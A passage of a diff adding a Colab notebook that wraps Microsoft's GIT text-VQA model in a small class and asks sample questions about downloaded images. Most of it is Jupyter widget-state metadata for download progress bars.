+            "8cc8a9d55c2546bcaabead9c8dc2ed09",
+            "ff3175e110e94476bf7ed17ef19a0077",
+            "96332b8765b3472c9f6a43626e8a5bb3",
+            "13935b9459d34cb28418ceffe17f8d85",
+            "cee5e9c5e2604a898fc3bd9fae8b260e",
+            "492d702c82564ce5ae62e4989905f176",
+            "fb47f6098ea54e828931f1082eddcfc6",
+            "5a2729d7ebe54449aaedcb658795e19f",
+            "3afb14ab061c459b9276116e0a6c9416",
+            "17af87063b1e4888b8dd22dd325e039f",
+            "fbe842d741e84880ac53241d2d39a566",
+            "20052640edfa418fb52d9a6ed8d5e7c5",
+            "e995f343b325494d9f315d27ab25ede9",
+            "05a15576ce6b4595a228045a2c43a598",
+            "23ac198dda5d4390b1e0998e2553d04c",
+            "5f53f8958f6744329c885898656f0c93",
+            "4f78f4c67c524e1dbf18615cd98fc1e4",
+            "2e904bced0c945498efee80e62acbe22",
+            "5f98a87208c048a199395d58e986799f",
+            "522a01b9856f477b89ce65ee75edea28",
+            "3064bb59f3144fc6a373b1528290b57a",
+            "4b79f47e2713436c91422a7e8db2729d",
+            "7dc9b79e3ad74651ae3f6449a8b968f7",
+            "b68190a10e0b48678a9937693a2e0875",
+            "d2ac867676604aa8a10267219e3c6362",
+            "3af451b24c8a47c99941a0d3676db363",
+            "8a6fad1603b6410eba545e462adb3096",
+            "30944ee9722c4e4da3b23a635a2e561f",
+            "b654f414cfe04f9a9777b076349199f6",
+            "bcb584c47d2e430f8d0ff7db81619909",
+            "9d049ae4478447afb76756aa2eefab5a",
+            "c7af806e9fcf44dfa483f9aee21ab0ef",
+            "743663756db94768a1a82d5bccac5538",
+            "3080191d2d754416988b90ece2f76cb5",
+            "d02a3297387b45c98e78c9a4a13bc6cd",
+            "14574612bb6542a1b557a12bdc189cbc",
+            "628ac6a81d1646418cd58b7fccb814a9",
+            "061384512ae447bca08741680dba7985",
+            "b24e8170391d4a41835bcdb649457ba7",
+            "4f0a42dd0f954a2a9abd2d98dcb3de67",
+            "237b1e5d578841738596dc8d9fb12a23",
+            "96f6b9783cb24579a96e96edb4e9acd9",
+            "e909d23ed13e4652a909b4f1c5702ec7",
+            "82f6ec4e9743477c909d6ef734c06808",
+            "4bca98717ed84770a06524e832f3dc70",
+            "2cb163ea221745cfb446ec9ddcbe622b",
+            "877898b8398541e3b9909a3a372cad14",
+            "d19511fe4049467a9e24bffc8b799027"
+          ]
+        },
+        "id": "Xyze2yuFl7UD",
+        "outputId": "6373ea3f-9076-45cf-c319-74af872647b9"
+      },
+      "outputs": [],
+      "source": [
+        "# load necessary components: the processor and the model\n",
+        "processor = AutoProcessor.from_pretrained(\"microsoft/git-base-textvqa\")\n",
+        "model = AutoModelForCausalLM.from_pretrained(\"microsoft/git-base-textvqa\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "PoP6txfhmPI9"
+      },
+      "outputs": [],
+      "source": [
+        "class GIT_VQA:\n",
+        "    \"\"\"Custom implementation of the GIT model for Visual Question Answering (VQA) tasks.\"\"\"\n",
+        "\n",
+        "    def __init__(self, model, processor):\n",
+        "        \"\"\"Initializes the model and the processor.\"\"\"\n",
+        "        self.model = model\n",
+        "        self.processor = processor\n",
+        "        return\n",
+        "\n",
+        "\n",
+        "    def preprocess(self, image, question):\n",
+        "        \"\"\"Preprocesses the inputs: image, question\"\"\"\n",
+        "        # process the image to get pixel values\n",
+        "        pixel_values = self.processor(images=image, return_tensors=\"pt\").pixel_values\n",
+        "\n",
+        "        # process the question to get input IDs, but do not add special tokens\n",
+        "        input_ids = self.processor(text=question, add_special_tokens=False).input_ids\n",
+        "\n",
+        "        # add the CLS token at the beginning of the input_ids and format for model input\n",
+        "        input_ids = [self.processor.tokenizer.cls_token_id] + input_ids\n",
+        "        input_ids = torch.tensor(input_ids).unsqueeze(0)\n",
+        "\n",
+        "        return pixel_values, input_ids\n",
+        "\n",
+        "\n",
+        "    def generate(self, pixel_values, input_ids):\n",
+        "        \"\"\"Generates the output from the preprocessed inputs.\"\"\"\n",
+        "\n",
+        "        # generate output using the model with a maximum length of 50 tokens\n",
+        "        outputs = self.model.generate(pixel_values=pixel_values, input_ids=input_ids, max_length=50)\n",
+        "        return outputs\n",
+        "\n",
+        "\n",
+        "    def postprocess(self, outputs):\n",
+        "        \"\"\"Post-processes the output generated by the model.\"\"\"\n",
+        "\n",
+        "        # decode the output, ignoring special tokens\n",
+        "        answer = self.processor.batch_decode(outputs, skip_special_tokens=True)\n",
+        "        return answer\n",
+        "\n",
+        "\n",
+        "    def get_answer(self, image, question):\n",
+        "        \"\"\"Returns human friendly answer to a question\"\"\"\n",
+        "\n",
+        "        # preprocess\n",
+        "        pixel_values, input_ids = self.preprocess(image, question)\n",
+        "        # generate output\n",
+        "        outputs = self.generate(pixel_values, input_ids)\n",
+        "        # post-process\n",
+        "        answer = self.postprocess(outputs)\n",
+        "        return answer"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "YXXaDaQZqpen"
+      },
+      "outputs": [],
+      "source": [
+        "# create a GIT instance\n",
+        "git_vqa = GIT_VQA(model=model, processor=processor)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "9HT3VFLsboQE",
+        "outputId": "5f5e7a77-a40f-448d-84e3-d3bbfe594eb8"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "question = \"what does the front of the bus say at the top?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Lcj5yO2sboT2",
+        "outputId": "65301084-2148-402f-c641-8bd774e5308c"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 2\n",
+        "question = \"what are all the colors present on the bus?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "PBqTU4qwboXV",
+        "outputId": "a36cf954-da7c-42d6-a1ef-179058fc0270"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 3\n",
+        "question = \"How many wheels you see in the bus?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 517
+        },
+        "id": "cBdRCN28b4FQ",
+        "outputId": "22a64008-64c7-439c-ad3f-2c4a4295dba0"
+      },
+      "outputs": [],
+      "source": [
+        "# load another image to test BLIP\n",
+        "img_url = \"https://fastly.picsum.photos/id/110/500/500.jpg?hmac=wSHhLFNyJ6k3uM94s6etGQ0WWhmwbdUSiZ9ZDL5Hh2Q\"\n",
+        "image = Image.open(requests.get(img_url, stream=True).raw).convert('RGB')\n",
+        "image"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "-CD02X_ub4Ho",
+        "outputId": "74fe9c3f-3e1d-4627-9fd0-c8cf166e4942"
+      },
+      "outputs": [],
+      "source": [
+        "# sample question 1\n",
+        "question = \"Is it night in the image?\"\n",
+        "answer = git_vqa.get_answer(image, question)\n",
+        "print(answer)"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "uK_KAVyEb4LC"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "gpuType": "T4",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0324f20083ee42268aac2e7dce294907": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1a27d88a39e64a09bd7007e066be7caf",
+            "placeholder": "​",
+            "style": "IPY_MODEL_2c1891a4c26042c08956982391039dfe",
+            "value": "Downloading (…)okenizer_config.json: 100%"
+          }
+        },
+        "039c791cb44e42e29fce22b17e6aaeb2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05a15576ce6b4595a228045a2c43a598": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "061384512ae447bca08741680dba7985": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_b24e8170391d4a41835bcdb649457ba7",
+              "IPY_MODEL_4f0a42dd0f954a2a9abd2d98dcb3de67",
+              "IPY_MODEL_237b1e5d578841738596dc8d9fb12a23"
+            ],
+            "layout": "IPY_MODEL_96f6b9783cb24579a96e96edb4e9acd9"
+          }
+        },
+        "06d45a612716458e84cff4dadacde353": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0754fa2f914f4c24a856e321a21319f5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_4bd11779af5243f38a87aee67edeef37",
+              "IPY_MODEL_2b1ac03b7948452faa1282e9f41b8069",
+              "IPY_MODEL_e837565f047041b1b4fe58abe20b4860"
+            ],
+            "layout": "IPY_MODEL_35d468050abe416dbfe791ddf607ee6f"
+          }
+        },
+        "0c59eab53a8649cf88ed55d135981e1a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9d9e48cd4d5f4a0c97d7f13d6e727c09",
+            "placeholder": "​",
+            "style": "IPY_MODEL_8f1974332d694edd968fe5bb9ecba070",
+            "value": "Downloading pytorch_model.bin: 100%"
+          }
+        },
+        "0fdfc064f7ac43e29f207cf8c01ebea4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1f4f0aecfdfa423a8d219a7a9167b74c",
+            "max": 231508,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_70dc32700a9a4f268177a83cc2bdb29c",
+            "value": 231508
+          }
+        },
+        "10bcc231a8ba4b809be9c7c6b95b5b53": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1338c7844ec64171b0b6f50c6c2740ea": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "13935b9459d34cb28418ceffe17f8d85": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "14574612bb6542a1b557a12bdc189cbc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "14c199d355824bcfb14460c8e786aa93": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_18dcfde5f4c042a08b76acca0e1a6db8",
+              "IPY_MODEL_e9e7c07fa5544978840f4b5c24372ff0",
+              "IPY_MODEL_27635f5481f1430f9e7ec0404f5c393b"
+            ],
+            "layout": "IPY_MODEL_b3c518bde5bc4a5bb2c2f6528d361cc0"
+          }
+        },
+        "17af87063b1e4888b8dd22dd325e039f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "18dcfde5f4c042a08b76acca0e1a6db8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20e7de8cc9e34728871e040e7fe9d80d",
+            "placeholder": "​",
+            "style": "IPY_MODEL_fb7358b3d7c84e058b333694d793ef98",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "1a27d88a39e64a09bd7007e066be7caf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1a5e688c08c747eaaf5ca99b9812eec1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1d4dd1aae7c7452298706a60c84f901d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1dabddf490454df48032d8c05080fe95": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1edf085b64f24088bd70a6a6954c8156": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "1f4f0aecfdfa423a8d219a7a9167b74c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "20052640edfa418fb52d9a6ed8d5e7c5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
